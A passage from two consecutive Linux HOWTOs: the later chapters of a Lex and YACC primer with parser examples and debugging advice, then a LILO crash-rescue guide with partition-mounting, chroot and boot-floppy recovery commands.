Then there is the main() function, that does nothing but set everything in motion.

The last line simply defines the tokens we will be using. These are output using y.tab.h if YACC is invoked with the '-d' option.

Compiling & running the thermostat controller

lex example4.l
yacc -d example4.y
cc lex.yy.c y.tab.c -o example4
A few things have changed. We now also invoke YACC to compile our grammar, which creates y.tab.c and y.tab.h. We then call Lex as usual. When compiling, we remove the -ll flag: we now have our own main() function and don't need the one provided by libl.

NOTE: if you get an error about your compiler not being able to find 'yylval', add this to example4.l, just beneath #include <y.tab.h>:
extern YYSTYPE yylval;
This is explained in the 'How Lex and YACC work internally' section.

A sample session:

$ ./example4
heat on
        Heat turned on or off
heat off
        Heat turned on or off
target temperature 10
        Temperature set
target humidity 20
error: parse error
$

This is not quite what we set out to achieve, but in the interest of keeping the learning curve manageable, not all cool stuff can be presented at once.

4.2 Expanding the thermostat to handle parameters

As we've seen, we now parse the thermostat commands correctly, and even flag mistakes properly. But as you might have guessed by the weasely wording, the program has no idea of what it should do, it does not get passed any of the values you enter.

Let's start by adding the ability to read the new target temperature. In order to do so, we need to learn the NUMBER match in the Lexer to convert itself into an integer value, which can then be read in YACC.

Whenever Lex matches a target, it puts the text of the match in the character string 'yytext'. YACC in turn expects to find a value in the variable 'yylval'. In Example 5, we see the obvious solution:

%{
#include <stdio.h>
#include "y.tab.h"
%}
%%
[0-9]+                  yylval=atoi(yytext); return NUMBER;
heat                    return TOKHEAT;
on|off                  yylval=!strcmp(yytext,"on"); return STATE;
target                  return TOKTARGET;
temperature             return TOKTEMPERATURE;
\n                      /* ignore end of line */;
[ \t]+                  /* ignore whitespace */;
%%

As you can see, we run atoi() on yytext, and put the result in yylval, where YACC can see it. We do much the same for the STATE match, where we compare it to 'on', and set yylval to 1 if it is equal. Please note that having a separate 'on' and 'off' match in Lex would produce faster code, but I wanted to show a more complicated rule and action for a change.

Now we need to learn YACC how to deal with this. What is called 'yylval' in Lex has a different name in YACC. Let's examine the rule setting the new temperature target:

target_set:
        TOKTARGET TOKTEMPERATURE NUMBER
        {
                printf("\tTemperature set to %d\n",$3);
        }
        ;

To access the value of the third part of the rule (ie, NUMBER), we need to use $3. Whenever yylex() returns, the contents of yylval are attached to the terminal, the value of which can be accessed with the $-construct.

To expound on this further, let's observe the new 'heat_switch' rule:

heat_switch:
        TOKHEAT STATE
        {
                if($2)
                        printf("\tHeat turned on\n");
                else
                        printf("\tHeat turned off\n");
        }
        ;

If you now run example5, it properly outputs what you entered.

4.3 Parsing a configuration file

Let's repeat part of the configuration file we mentioned earlier:

zone "." {
        type hint;
        file "/etc/bind/db.root";
};

Remember that we already wrote a Lexer for this file. Now all we need to do is write the YACC grammar, and modify the Lexer so it returns values in a format YACC can understand.

In the lexer from Example 6 we see:

%{
#include <stdio.h>
#include "y.tab.h"
%}

%%

zone                    return ZONETOK;
file                    return FILETOK;
[a-zA-Z][a-zA-Z0-9]*    yylval=strdup(yytext); return WORD;
[a-zA-Z0-9\/.-]+        yylval=strdup(yytext); return FILENAME;
\"                      return QUOTE;
\{                      return OBRACE;
\}                      return EBRACE;
;                       return SEMICOLON;
\n                      /* ignore EOL */;
[ \t]+                  /* ignore whitespace */;
%%

If you look carefully, you can see that yylval has changed! We no longer expect it to be an integer, but in fact assume that it is a char *. In the interest of keeping things simple, we invoke strdup and waste a lot of memory. Please note that this may not be a problem in many areas where you only need to parse a file once, and then exit.

We want to store character strings because we are now mostly dealing with names: file names and zone names. In a later chapter we will explain how to deal with multiple types of data.

In order to tell YACC about the new type of yylval, we add this line to the header of our YACC grammar:

#define YYSTYPE char *

The grammar itself is again more complicated. We chop it in parts to make it easier to digest.

commands:
        |
        commands command SEMICOLON
        ;

command:
        zone_set
        ;

zone_set:
        ZONETOK quotedname zonecontent
        {
                printf("Complete zone for '%s' found\n",$2);
        }
        ;

This is the intro, including the aforementioned recursive 'root'. Please note that we specify that commands are terminated (and separated) by ;'s. We define one kind of command, the 'zone_set'. It consists of the ZONE token (the word 'zone'), followed by a quoted name and the 'zonecontent'. This zonecontent starts out simple enough:

zonecontent:
        OBRACE zonestatements EBRACE

It needs to start with an OBRACE, a {. Then follow the zonestatements, followed by an EBRACE, }.

quotedname:
        QUOTE FILENAME QUOTE
        {
                $$=$2;
        }

This section defines what a 'quotedname' is: a FILENAME between QUOTEs. Then it says something special: the value of a quotedname token is the value of the FILENAME. This means that the quotedname has as its value the filename without quotes.

This is what the magic '$$=$2;' command does. It says: my value is the value of my second part. When the quotedname is now referenced in other rules, and you access its value with the $-construct, you see the value that we set here with $$=$2.

NOTE: this grammar chokes on filenames without either a '.' or a '/' in them.

zonestatements:
        |
        zonestatements zonestatement SEMICOLON
        ;

zonestatement:
        statements
        |
        FILETOK quotedname
        {
                printf("A zonefile name '%s' was encountered\n", $2);
        }
        ;

This is a generic statement that catches all kinds of statements within the 'zone' block. We again see the recursiveness.

block:
        OBRACE zonestatements EBRACE SEMICOLON
        ;

statements:
        | statements statement
        ;

statement: WORD | block | quotedname

This defines a block, and 'statements' which may be found within.

When executed, the output is like this:

$ ./example6
zone "." {
        type hint;
        file "/etc/bind/db.root";
        type hint;
};
A zonefile name '/etc/bind/db.root' was encountered
Complete zone for '.' found


Lex and YACC primer/HOWTO: Making a Parser in C++

 Next Previous Contents

5. Making a Parser in C++

Although Lex and YACC predate C++, it is possible to generate a C++ parser. While Flex includes an option to generate a C++ lexer, we won't be using that, as YACC doesn't know how to deal with it directly.

My preferred way to make a C++ parser is to have Lex generate a plain C file, and to let YACC generate C++ code. When you then link your application, you may run into some problems because the C++ code by default won't be able to find C functions, unless you've told it that those functions are extern "C".

To do so, make a C header in YACC like this:

extern "C"
{
        int yyparse(void);
        int yylex(void);
        int yywrap()
        {
                return 1;
        }

}

If you want to declare or change yydebug, you must now do it like this:

extern int yydebug;

main()
{
        yydebug=1;
        yyparse();
}

This is because C++'s One Definition Rule, which disallows multiple definitions of yydebug.

You may also find that you need to repeat the #define of YYSTYPE in your Lex file, because of C++'s stricter type checking.

To compile, do something like this:

lex bindconfig2.l
yacc --verbose --debug -d bindconfig2.y -o bindconfig2.cc
cc -c lex.yy.c -o lex.yy.o
c++ lex.yy.o bindconfig2.cc -o bindconfig2

Because of the -o statement, y.tab.h is now called bindconfig2.cc.h, so take that into account.

To summarize: don't bother to compile your Lexer in C++, keep it in C. Make your Parser in C++ and explain your compiler that some functions are C functions with extern "C" statements.


Lex and YACC primer/HOWTO: How do Lex and YACC work internally

 Next Previous Contents

6. How do Lex and YACC work internally

In the YACC file, you write your own main() function, which calls yyparse() at one point. The function yyparse() is created for you by YACC, and ends up in y.tab.c.

yyparse() reads a stream of token/value pairs from yylex(), which needs to be supplied. You can code this function yourself, or have Lex do it for you. In our examples, we've chosen to leave this task to Lex.

The yylex() as written by Lex reads characters from a FILE * file pointer called yyin. If you do not set yyin, it defaults to standard input. It outputs to yyout, which if unset defaults to stdout. You can also modify yyin in the yywrap() function which is called at the end of a file. It allows you to open another file, and continue parsing.

If this is the case, have it return 0. If you want to end parsing at this file, let it return 1.

Each call to yylex() returns an integer value which represents a token type. This tells YACC what kind of token it has read. The token may optionally have a value, which should be placed in the variable yylval.

By default yylval is of type int, but you can override that from the YACC file by re#defining YYSTYPE.

The Lexer needs to be able to access yylval. In order to do so, it must be declared in the scope of the lexer as an extern variable. The original YACC neglects to do this for you, so you should add the following to your lexter, just beneath #include <y.tab.h>:

extern YYSTYPE yylval;

Bison, which most people are using these days, does this for you automatically.

6.1 Token values

As mentioned before, yylex() needs to return what kind of token it encountered, and put its value in yylval. When these tokens are defined with the %token command, they are assigned numerical id's, starting from 256.

Because of that fact, it is possible to have all ascii characters as a token. Let's say you are writing a calculator, up till now we would have written the lexer like this:

[0-9]+          yylval=atoi(yytext); return NUMBER;
[ \n]+          /* eat whitespace */;
-               return MINUS;
\*              return MULT;
\+              return PLUS;
...

Our YACC grammer would then contain:

        exp:    NUMBER
                |
                exp PLUS exp
                |
                exp MINUS exp
                |
                exp MULT exp

This is needlessly complicated. By using characters as shorthands for numerical token id's, we can rewrite our lexer like this:

[0-9]+          yylval=atoi(yytext); return NUMBER;
[ \n]+          /* eat whitespace */;
.               return (int) yytext[0];

This last dot matches all single otherwise unmatched characters.

Our YACC grammer would then be:

        exp:    NUMBER
                |
                exp '+' exp
                |
                exp '-' exp
                |
                exp '*' exp

This is lots shorter and also more obvious. You do not need to declare these ascii tokens with %token in the header, they work out of the box.

One other very good thing about this construct is that Lex will now match everything we throw at it - avoiding the default behaviour of echoing unmatched input to standard output. If a user of this calculator uses a ^, for example, it will now generate a parsing error, instead of being echoed to standard output.

6.2 Recursion: 'right is wrong'

Recursion is a vital aspect of YACC. Without it, you can't specify that a file consists of a sequence of independent commands or statements. Out of its own accord, YACC is only interested in the first rule, or the one you designate as the starting rule, with the '%start' symbol.

Recursion in YACC comes in two flavours: right and left. Left recursion, which is the one you should use most of the time, looks like this:

commands: /* empty */
        |
        commands command
This says: a command is either empty, or it consists of more commands, followed by a command. They way YACC works means that it can now easily chop off individual command groups (from the front) and reduce them.

Compare this to right recursion, which confusingly enough looks better to many eyes:

commands: /* empty */
        |
        command commands
But this is expensive. If used as the %start rule, it requires YACC to keep all commands in your file on the stack, which may take a lot of memory. So by all means, use left recursion when parsing long statements, like entire files. Sometimes it is hard to avoid right recursion but if your statements are not too long, you do not need to go out of your way to use left recursion.

If you have something terminating (and therefore separating) your commands, right recursion looks very natural, but is still expensive:

commands: /* empty */
        |
        command SEMICOLON commands

The right way to code this is using left recursion (I didn't invent this either):

commands: /* empty */
        |
        commands command SEMICOLON

Earlier versions of this HOWTO mistakenly used right recursion. Markus Triska kindly informed us of this.

6.3 Advanced yylval: %union

Currently, we need to define *the* type of yylval. This however is not always appropriate. There will be times when we need to be able to handle multiple data types. Returning to our hypothetical thermostat, perhaps we want to be able to choose a heater to control, like this:

heater mainbuiling
        Selected 'mainbuilding' heater
target temperature 23
        'mainbuilding' heater target temperature now 23

What this calls for is for yylval to be a union, which can hold both strings and integers - but not simultaneously.

Remember that we told YACC previously what type yylval was supposed to by by defining YYSTYPE. We could conceivably define YYSTYPE to be a union this way, by YACC has an easier method for doing this: the %union statement.

Based on Example 4, we now write the Example 7 YACC grammar. First the intro:

%token TOKHEATER TOKHEAT TOKTARGET TOKTEMPERATURE

%union
{
        int number;
        char *string;
}

%token <number> STATE
%token <number> NUMBER
%token <string> WORD

We define our union, which contains only a number and a string. Then using an extended %token syntax, we explain to YACC which part of the union each token should access.

In this case, we let the STATE token use an integer, as before. Same goes for the NUMBER token, which we use for reading temperatures.

New however is the WORD token, which is declared to need a string.

The Lexer file changes a bit too:

%{
#include <stdio.h>
#include <string.h>
#include "y.tab.h"
%}
%%
[0-9]+                  yylval.number=atoi(yytext); return NUMBER;
heater                  return TOKHEATER;
heat                    return TOKHEAT;
on|off                  yylval.number=!strcmp(yytext,"on"); return STATE;
target                  return TOKTARGET;
temperature             return TOKTEMPERATURE;
[a-z0-9]+               yylval.string=strdup(yytext);return WORD;
\n                      /* ignore end of line */;
[ \t]+                  /* ignore whitespace */;
%%

As you can see, we don't access the yylval directly anymore, we add a suffix indicating which part we want to access. We don't need to do that in the YACC grammar however, as YACC performs the magic for us:

heater_select:
        TOKHEATER WORD
        {
                printf("\tSelected heater '%s'\n",$2);
                heater=$2;
        }
        ;

Because of the %token declaration above, YACC automatically picks the 'string' member from our union. Note also that we store a copy of $2, which is later used to tell the user which heater he is sending commands to:

target_set:
        TOKTARGET TOKTEMPERATURE NUMBER
        {
                printf("\tHeater '%s' temperature set to %d\n",heater,$3);
        }
        ;

For more details, read example7.y.


Lex and YACC primer/HOWTO: Debugging

 Next Previous Contents

7. Debugging

Especially when learning, it is important to have debugging facilities. Luckily, YACC can give a lot of feedback. This feedback comes at the cost of some overhead, so you need to supply some switches to enable it.

When compiling your grammar, add --debug and --verbose to the YACC commandline. In your grammar C heading, add the following:

int yydebug=1;

This will generate the file 'y.output' which explains the state machine that was created.

When you now run the generated binary, it will output a *lot* of what is happening. This includes what state the state machine currently has, and what tokens are being read.

Peter Jinks wrote a page on debugging which contains some common errors and how to solve them.

7.1 The state machine

Internally, your YACC parser runs a so called 'state machine'. As the name implies, this is a machine that can be in several states. Then there are rules which govern transitions from one state to another. Everything starts with the so called 'root' rule I mentioned earlier.

To quote from the output from the Example 7 y.output:

state 0

    ZONETOK     , and go to state 1

    $default    reduce using rule 1 (commands)

    commands    go to state 29
    command     go to state 2
    zone_set    go to state 3

By default, this state reduces using the 'commands' rule. This is the aforementioned recursive rule that defines 'commands' to be built up from individual command statements, followed by a semicolon, followed by possibly more commands.

This state reduces until it hits something it understands, in this case, a ZONETOK, ie, the word 'zone'. It then goes to state 1, which deals further with a zone command:

state 1

    zone_set  ->  ZONETOK . quotedname zonecontent   (rule 4)

    QUOTE       , and go to state 4

    quotedname  go to state 5

The first line has a '.' in it to indicate where we are: we've just seen a ZONETOK and are now looking for a 'quotedname'. Apparently, a quotedname starts with a QUOTE, which sends us to state 4.

To follow this further, compile Example 7 with the flags mentioned in the Debugging section.

7.2 Conflicts: 'shift/reduce', 'reduce/reduce'

Whenever YACC warns you about conflicts, you may be in for trouble. Solving these conflicts appears to be somewhat of an art form that may teach you a lot about your language. More than you possibly would have wanted to know.

The problems revolve around how to interpret a sequence of tokens. Let's suppose we define a language that needs to accept both these commands:

        delete heater all
        delete heater number1

To do this, we define this grammar:

        delete_heaters:
                TOKDELETE TOKHEATER mode
                {
                        deleteheaters($3);
                }

        mode:   WORD

        delete_a_heater:
                TOKDELETE TOKHEATER WORD
                {
                        delete($3);
                }

You may already be smelling trouble. The state machine starts by reading the word 'delete', and then needs to decide where to go based on the next token. This next token can either be a mode, specifying how to delete the heaters, or the name of a heater to delete.

The problem however is that for both commands, the next token is going to be a WORD. YACC has therefore no idea what to do. This leads to a 'reduce/reduce' warning, and a further warning that the 'delete_a_heater' node is never going to be reached.

In this case the conflict is resolved easily (ie, by renaming the first command to 'delete heaters all', or by making 'all' a separate token), but sometimes it is harder. The y.output file generated when you pass yacc the --verbose flag can be of tremendous help.


Lex and YACC primer/HOWTO: Further reading

 Next Previous Contents

8. Further reading

GNU YACC (Bison) comes with a very nice info-file (.info) which documents the YACC syntax very well. It mentions Lex only once, but otherwise it's very good. You can read .info files with Emacs or with the very nice tool 'pinfo'. It is also available on the GNU site: BISON Manual.

Flex comes with a good manpage which is very useful if you already have a rough understanding of what Flex does. The Flex Manual is also available online.

After this introduction to Lex and YACC, you may find that you need more information. I haven't read any of these books yet, but they sound good:

Bison-The Yacc-Compatible Parser Generator

By Charles Donnelly and Richard Stallman. An Amazon user found it useful.

Lex & Yacc

By John R. Levine, Tony Mason and Doug Brown. Considered to be the standard work on this subject, although a bit dated. Reviews over at Amazon.

Compilers : Principles, Techniques, and Tools

By Alfred V. Aho, Ravi Sethi, Jeffrey D. Ullman. The 'Dragon Book'. From 1985 and they just keep printing it. Considered the standard work on constructing compilers. Amazon

Thomas Niemann wrote a document discussing how to write compilers and calculators with Lex & YACC. You can find it here.

The moderated usenet newsgroup comp.compilers can also be very useful but please keep in mind that the people there are not a dedicated parser helpdesk! Before posting, read their interesting page and especially the FAQ.

Lex - A Lexical Analyzer Generator by M. E. Lesk and E. Schmidt is one of the original reference papers. It can be found here.

Yacc: Yet Another Compiler-Compiler by Stephen C. Johnson is one of the original reference papers for YACC. It can be found here. It contains useful hints on style.


Lex and YACC primer/HOWTO: Acknowledgements & Thanks

 Next Previous Contents

9. Acknowledgements & Thanks

  • Pete Jinks <pjj%cs.man.ac.uk>
  • Chris Lattner <sabre%nondot.org>
  • John W. Millaway <johnmillaway%yahoo.com>
  • Martin Neitzel <neitzel%gaertner.de>
  • Esmond Pitt <esmond.pitt%bigpond.com>
  • Eric S. Raymond
  • Bob Schmertz <schmertz%wam.umd.edu>
  • Adam Sulmicki <adam%cfar.umd.edu>
  • Markus Triska <triska%gmx.at>
  • Erik Verbruggen <erik%road-warrior.cs.kun.nl>
  • Gary V. Vaughan <gary%gnu.org> (read his awesome Autobook)
  • Ivo van der Wijk (Amaze Internet)


LILO, Linux Crash Rescue HOW-TO

Al Dev (Alavoor Vasudevan) alavoor[AT]yahoo.com

v10.6, 14 March 2002

This document discusses methods to recover from Linux system failures. Various reasons for linux system failures can be - LILO is destroyed, or linux fails to boot, or Master Boot Record (MBR) is damaged or linux fails to boot when another operating system like Windows NT is installed which erases LILO or MBR.

1. Introduction

  • 1.1 Tiny Floppy Linux

2. Crash Recovery

  • 2.1 Preparation Tips
  • 2.2 Quick Steps to recovery
  • 2.3 Precautionary measures
  • 2.4 Removing LILO
  • 2.5 Common mistakes

3. Related URLs

4. Other Formats of this Document

  • 4.1 Acrobat PDF format
  • 4.2 Convert Linuxdoc to Docbook format
  • 4.3 Convert to MS WinHelp format
  • 4.4 Reading various formats

5. Copyright


LILO, Linux Crash Rescue HOW-TO: Introduction

 Next Previous Contents

1. Introduction

(The latest version of this document is at http://www.milkywaygalaxy.freeservers.com. You may want to check there for changes).

You cannot avoid accidents and if it happens to linux systems then it may damage the master boot record (MBR) or LILO (Linux boot Loader). There may be cases where linux will not boot due to hard disk failures. The LILO may also fail if you accidentally re-partition the hard disk or you install another additional operating system like Windows 98/NT on the linux computer.

This document gives you some ideas, tips and quick guide to recover fast without wading through hundreds of pages of documentation on LILO or Linux.

1.1 Tiny Floppy Linux

To recover any Windows 95/NT/2000, OS/2, BeOS or Linux box you may need the tiny linux which fits on a single floppy disk. See the list of tiny floppy linux given below -

  • The best Tomsrtbt
  • Second best floppy linux MuLinux
  • Trinux
  • DLX
  • FloppyFW
  • Linux Router Proejct floppy
  • Tiny Linux distributions
  • TINYLinux


LILO, Linux Crash Rescue HOW-TO: Crash Recovery

 Next Previous Contents

2. Crash Recovery

2.1 Preparation Tips

It is a good idea to backup the important system files like /etc/fstab, /etc/lilo.conf after you login using Tomsrtbt floppy in next section. This can be very handy during crash situation or something happens to system files.

bash# cp /etc/fstab /etc/fstab.orig
bash# cp /etc/lilo.conf /etc/lilo.conf.orig
bash# cp /etc/hosts /etc/hosts.orig
bash# cp /etc/hosts.allow /etc/hosts.allow.orig
bash# cp /etc/hosts.deny /etc/hosts.deny.orig
bash# cp /etc/inetd.conf /etc/inetd.conf.orig
bash# cp /etc/inittab /etc/inittab.orig
bash# cp /etc/networks /etc/networks.orig

2.2 Quick Steps to recovery

Follow these steps to recover from LILO or system failures.

  1. SCENE 1: If your system does not boot -

    Get the tomsrtbt floppy http://www.toms.net/rb or MuLinux floppy (see also Tiny Linux). Boot with tomsrtbt floppy Use fdisk to find the partitions. Try to recognise the root and boot partition. Watch out, you may be having the /boot files on the root partition itself.

    The Linux's root partition has the following directories bin, boot, etc, usr.

    And the Linux's boot partition has these directories: vmlinuz, boot.b, chain.b, map.

    To find out root partition do this :

    bash# fdisk /dev/hda
Command (m for help): m         (Gives you help on commands)
Command (m for help): p         (Gives you list of partitons)
Command (m for help): q
bash# mkdir /test
bash# mount /dev/hda1 /test
bash# ls /test
You should see root-partition list like this -
bin   fd    lib   mnt  proc  sbin  usr
boot  dev   etc   home  lost+found  opt  root  tmp   var
    If this is not a root partition, then try the next partition /dev/hda2. Keep trying hda3, hda4, hda5, etc.. untill you find the root partition. If you do not find root partition in hda device then repeat the above steps for other hard disk devices like hdb, hdc, hdd etc..

    Next, you should find the /boot, /usr and /var partitions. The disk locations of these partitions are needed to create the new lilo configuration.

    In my case the root partition is /dev/hda4 which is used in the examples below:

    bash# mkdir /rootpart
bash# mount /dev/hda4 /rootpart
bash# cat /rootpart/etc/fstab
        Read the output of fstab and mount partitions as per fstab file, see below -
bash# mount /dev/hda5 /rootpart/boot
bash# mount /dev/hda6 /rootpart/usr
bash# mount /dev/hda7 /rootpart/var
bash# mount /dev/hda8 /rootpart/opt
bash# mount /dev/hda9 /rootpart/root
bash# mount /dev/hda10 /rootpart/home
    In my case, as per fstab file hda5 was boot, hda6 was usr, hda7 was var, hda8 was opt, hda9 was root, hda10 was home and hda11 was windows95 (FAT16 partition).

    Edit /etc/fstab (not /rootpart/etc/fstab) and put (sample code given here) -

            /dev/hda4  /rootpart           ext2 defaults 1 1
        /dev/hda5  /rootpart/boot      ext2 defaults 1 1
        /dev/hda6  /rootpart/usr       ext2 defaults 1 1
        /dev/hda7  /rootpart/var       ext2 defaults 1 1
        /dev/hda8  /rootpart/opt       ext2 defaults 1 1
        /dev/hda9  /rootpart/root      ext2 defaults 1 1
        /dev/hda10 /rootpart/home      ext2 defaults 1 1
        /dev/hda11 /rootpart/win95part vfat defaults 1 1

On my computer hda4 contains the linux root partition, hda5 had boot partition and
hda11 has windows 95 vfat system.

bash# mkdir /rootpart/win95part
bash# mount /rootpart/win95part
        And repair the problem partitions using fsck or e2fsck commands.
bash# man fsck
bash# man e2fsck

  2. SCENE 2: If LILO is not working..

    Follow scene 1 above, if that fails then follow these steps. After executing steps in scene 1 above, you should have already mounted /rootpart and have created /etc/fstab file.

    Note: It is very important to note how chroot command works below. The /sbin/lilo file which chroot uses is actually located in /rootpart/sbin/lilo and NOT in /sbin!! Hence, do not get confused.

    bash# mount -a
bash# chroot /rootpart /sbin/lilo -q
bash# man chroot
bash# chroot /rootpart /sbin/lilo

    Note: New users of chroot will be confused. If chroot command complains that it cannot find /boot/map file then it actually means it that it cannot find /rootpart/boot/map. Because you gave /rootpart as the first argument to chroot and all references are with respect to /rootpart.

    Alternatively, you can directly use /sbin/lilo instead of chroot. The -r option of lilo actually does chroot. It is very strongly recommended that you use chroot, instead of lilo -r, as it is more convenient and can catch errors more easily.

    bash# man lilo
bash# /sbin/lilo -r /rootpart

  3. SCENE 3: If LILO is not working..

    If scene 1 and 2 failes, then if you made the boot disk with 'mkbootdisk' (during install or by using 'man mkbootdisk'), boot with it and repair your partitions. The mkbootdisk is in mkbootdisk*.rpm package, you must install this. Or get boot disks for Linux/NT/Windows/DOS/Mac are at http://www.bootdisk.com Other option is - get a hold of installation Linux-CDROM. Just about every Linux distribution provides a image of a rescue disk on their CD. Under Linux use "dd if=/cdrom/disks/rescue of=/dev/fd0" to create a rescue floppy disk. Under DOS use rawrite.exe (included on Linux CD) and then do "rawrite image-name a:".

  4. SCENE 4: If 1, 2 and 3 above fails and you do not have boot disk

    If you have another computer running linux, then login as root and do -

    Note: If you compile your own kernel as a bzImage (for instance, bzImage-2.4.4), then you should create a hard link to vmlinuz-2.4.4 as follows (note the the z in name vmlinuz and it is not vmlinux). If you do not do this then mkbootdisk command may fail.

    bash# cd /boot
bash# ls -l vmlinuz*
bash# ln /boot/bzImage-2.4.4  /boot/vmlinuz-2.4.4
    Now that you have bzImage and vmlinuz, give these commands -
    bash$ man mkbootdisk
bash# cp /etc/lilo.conf /etc/lilo-original.conf
    Edit the /etc/lilo.conf and put the root partition name as you obtained in 'scene 1' above and insert a blank floppy and give -
    bash$ mkbootdisk --device /dev/fd0 2.2.12-20
    The mkbootdisk is in mkbootdisk*.rpm package, you must install this. Make sure you move the /etc/lilo-original.conf back to /etc/lilo.conf!! And then take this floppy and goto scene 3

  5. SCENE 5: This is the worst scenerio and hopefully you will never come to this stage. Scenes from 1 to 4 will take care of majority of cases. But just in case, all the above scenes 1, 2, 3 and 4 fail then -

    Step 1: Boot tomsrtbt (see Tiny Linux) and mount the partitions and backup the root partition to another partition having disk space with comamnds -

            Edit /etc/fstab and put (sample code given here, you may have to
        change as per your disk layout) -
                /dev/hda4  /rootpart    ext2 defaults 1 1
                /dev/hda11 /b1          vfat defaults 1 1
bash$ mkdir /rootpart; mount /rootpart
bash$ mkdir /b1; mount /b1
bash$ cd /
bash$ df
        And see that there is enough disk space in /b1 to tar up the root partition
bash$ tar cvf /b1/root-hda4.tar   /rootpart

    Step 2: Insert Linux cdrom, reboot and install the redhat linux on /dev/hda4 (but DO NOT install any extra packages, you just need to install only the root, boot systems and LILO manager that is, a very bare minimum). This will also install the LILO on hard disk. Boot linux now and login as root and do -

    bash$ man mkbootdisk
bash# cp /etc/lilo.conf /etc/lilo-original.conf
    Note: You MUST remember to copy back lilo-original.conf to lilo.conf!! Edit the /etc/lilo.conf and put the root partition name as you obtained in 'scene 1' above and insert a blank floppy and give -
    bash$ mkbootdisk --device /dev/fd0 2.2.12-20
bash# cp /etc/lilo-original.conf /etc/lilo.conf
    Test this boot floppy to see that this works and then restore back the all the files which you backedup using tar on /b1/root-hda4.tar as in step 1 above.

2.3 Precautionary measures

You should take the following pre-cautionary measures to tackle the problems in future.

  • You MUST make emergency boot disk from time to time and whenever you make changes to the partition. Insert a blank floppy and do this -
    bash$ man mkbootdisk
The mkbootdisk is in mkbootdisk*.rpm package, you must install this.
bash$ mkbootdisk --help
bash$ mkbootdisk --device /dev/fd0 2.2.12-20

  • You MUST backup the partition tables setup to a floppy and to a hard disk. You should also print this out and paste it on the computer box.
    bash$ su - root
bash# man fdisk
bash# fdisk -l /dev/sda > partition_table_backup.txt
    Very helpful if you need to repartition the hard disk. From the printout, you would know where your partition starts. During recovery, after repatitioning and formating you can restore data from the backup.

  • You must keep the tomsrtbt boot floppy handy. Visit http://www.toms.net/rb (see also Tiny Linux)

  • You must keep the Yard rescue and boot floppy disk handy. Visit http://www.linuxlots.com/~fawcett/yard

  • Backup /root and /boot directories. Boot the Tomsrtbt floppy (see also Tiny Linux) and then
    bash# vi /etc/fstab
And put these lines -
                /dev/hda1 /a1 vfat defaults 1 1
                /dev/hdb1 /b1 vfat defaults 1 1
In my case hda1 had the linux root partition '/'
bash# cd /
bash# tar cvf /b1/linux-root-partition-hda1.tar  a1
bash# tar cvf /b1/linux-boot-partition-hda1.tar  a1/boot

2.4 Removing LILO

You can replace the boot sector with the DOS boot loader by issuing the DOS command at MS DOS prompt:

        FDISK  /MBR
where MBR stands for "Master Boot Record".

See also LILO documentation on linux at /usr/doc/lilo* for other methods of uninstalling the LILO. And see also 'man lilo'.

2.5 Common mistakes

After making changes to /etc/lilo.conf you MUST run lilo to make changes to go in effect. It is a very common mistake committed by newusers. Type -

bash# lilo -v -v -v


LILO, Linux Crash Rescue HOW-TO: Related URLs

 Next Previous Contents

3. Related URLs

Visit following locators which are related to LILO, Rescue Linux, crash recovery -

  • Mini Lilo HOWTO at http://www.linuxdoc.org/HOWTO/mini/LILO.html
  • Bootdisk-HOWTO at http://www.metalab.unc.edu/LDP/HOWTO/Bootdisk-HOWTO/index.html

  • Pre-made boot disks at http://www.linuxdoc.org/HOWTO/Bootdisk-HOWTO
  • Boot disks for Linux/NT/Windows/DOS/Mac at http://www.bootdisk.com
  • Tomsrtbt boot floppy disk http://www.toms.net/rb and (see also Tiny Linux)
  • Yard rescue and boot floppy disk http://www.linuxlots.com/~fawcett/yard

  • BootPrompt-HOWTO at http://www.linuxdoc.org/HOWTO/BootPrompt-HOWTO.html
  • Multiboot with LILO mini HOWTO at http://www.linuxdoc.org/HOWTO/mini/Multiboot-with-LILO.html
  • Linux+WinNT mini HOWTO at http://www.linuxdoc.org/HOWTO/mini/Linux+WinNT.html

  • Linux goodies main site http://www.milkywaygalaxy.freeservers.com Mirror sites are at - http://aldev0.webjump.com, angelfire, geocities, virtualave, 50megs, theglobe, NBCi, Terrashare, Fortunecity, Freewebsites, Tripod, Spree, Escalix, Httpcity, Freeservers.
  • Vim color text editor for C++, C http://metalab.unc.edu/LDP/HOWTO/Vim-HOWTO.html


LILO, Linux Crash Rescue HOW-TO: Other Formats of this Document

 Next Previous Contents

4. Other Formats of this Document

This document is published in 14 different formats namely - DVI, Postscript, Latex, Adobe Acrobat PDF, LyX, GNU-info, HTML, RTF(Rich Text Format), Plain-text, Unix man pages, single HTML file, SGML (Linuxdoc format), SGML (Docbook format), MS WinHelp format.

This howto document is located at -

  • http://www.linuxdoc.org and click on HOWTOs and search for howto document name using CTRL+f or ALT+f within the web-browser.

You can also find this document at the following mirrors sites -

  • http://www.caldera.com/LDP/HOWTO
  • http://www.linux.ucla.edu/LDP
  • http://www.cc.gatech.edu/linux/LDP
  • http://www.redhat.com/mirrors/LDP
  • Other mirror sites near you (network-address-wise) can be found at http://www.linuxdoc.org/mirrors.html select a site and go to directory /LDP/HOWTO/xxxxx-HOWTO.html

  • You can get this HOWTO document as a single file tar ball in HTML, DVI, Postscript or SGML formats from - ftp://www.linuxdoc.org/pub/Linux/docs/HOWTO/other-formats/ and http://www.linuxdoc.org/docs.html#howto

  • Plain text format is in: ftp://www.linuxdoc.org/pub/Linux/docs/HOWTO and http://www.linuxdoc.org/docs.html#howto

  • Single HTML file format is in: http://www.linuxdoc.org/docs.html#howto

    Single HTML file can be created with command (see man sgml2html) - sgml2html -split 0 xxxxhowto.sgml

  • Translations to other languages like French, German, Spanish, Chinese, Japanese are in ftp://www.linuxdoc.org/pub/Linux/docs/HOWTO and http://www.linuxdoc.org/docs.html#howto Any help from you to translate to other languages is welcome.
The document is written using a tool called "SGML-Tools" which can be got from - http://www.sgmltools.org Compiling the source you will get the following commands like
  • sgml2html xxxxhowto.sgml (to generate html file)
  • sgml2html -split 0 xxxxhowto.sgml (to generate a single page html file)
  • sgml2rtf xxxxhowto.sgml (to generate RTF file)
  • sgml2latex xxxxhowto.sgml (to generate latex file)

4.1 Acrobat PDF format

PDF file can be generated from postscript file using either acrobat distill or Ghostscript. And postscript file is generated from DVI which in turn is generated from LaTex file. You can download distill software from http://www.adobe.com. Given below is a sample session:

bash$ man sgml2latex
bash$ sgml2latex filename.sgml
bash$ man dvips
bash$ dvips -o filename.ps filename.dvi
bash$ distill filename.ps
bash$ man ghostscript
bash$ man ps2pdf
bash$ ps2pdf input.ps output.pdf
bash$ acroread output.pdf &
